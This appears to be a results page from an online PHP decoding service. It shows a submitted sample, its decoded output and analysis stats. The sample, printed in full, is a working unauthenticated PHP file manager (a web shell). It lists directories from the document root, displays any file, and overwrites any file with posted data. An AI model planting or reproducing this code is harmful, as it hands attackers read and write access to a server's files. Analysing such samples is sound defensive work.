Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php echo "<form action=\"\" method=\"post\" id=\"fm\">"; function getFile($path,$chars..

Decoded Output download

<form action="" method="post" id="fm">

Did this file decode correctly?

Original Code

<?php
echo "<form action=\"\" method=\"post\" id=\"fm\">";
function getFile($path,$charset) {
     header("Content-Type:text/html;charset=".$charset);
     if (is_dir($path)) {
          $dir = opendir ( $path );
          while ( $file = readdir ( $dir ) ) {
               echo "<a href=\"javascript:get('".str_replace('\\','/',$path)."/".$file."');\">".$file."</a><br/>\n";
          }
          closedir($dir);
     } else {
          echo "File:<input type=\"text\" style=\"width:600px;\" name=\"file\" value=\"".$path."\" /><input type=\"button\" style=\"margin-left:20px;\" value=\"update\" onclick=\"update()\" /><span id=\"result\"></span><br/>";
          echo "<textarea style=\"width:800px;height:600px;\" name=\"data\">".file_get_contents($path)."</textarea>";
     }
     echo "<input type=\"hidden\" name=\"p\" id=\"p\" value=\"".$path."\"/><input type=\"hidden\" name=\"action\" id=\"action\" value=\"get\" /></form>";
}
function update($filename,$data){
     file_put_contents($filename, $data);
     echo "<script>history.back(-1);alert('ok');</script>";
}
if('update'==$_POST['action']){
     update($_POST['file'],$_POST['data']);
}else{
     getFile($_POST['p']!=''?$_POST['p']:$_SERVER['DOCUMENT_ROOT'],$_POST['charset']!=''?$_POST['charset']:"UTF-8");
}
?>
<script>
function get(p){
     document.getElementById('p').value = p;
     document.getElementById('action').value = "get";
     document.getElementById('fm').submit();
}
function update(){
     document.getElementById('action').value = "update";
     document.getElementById('fm').submit();
}
</script>

Function Calls

header 1
getFile 1

Variables

$path ['ArrayOffset', {'expr': 'p', 'node': ['Variable', {'name': '$_POST'}]}]
$charset ['ArrayOffset', {'expr': 'charset', 'node': ['Variable', {'name': '$_POST'}]}]

Stats

MD5 a27052968b296ba0ed2b0e49cd699863
Eval Count 0
Decode Time 108 ms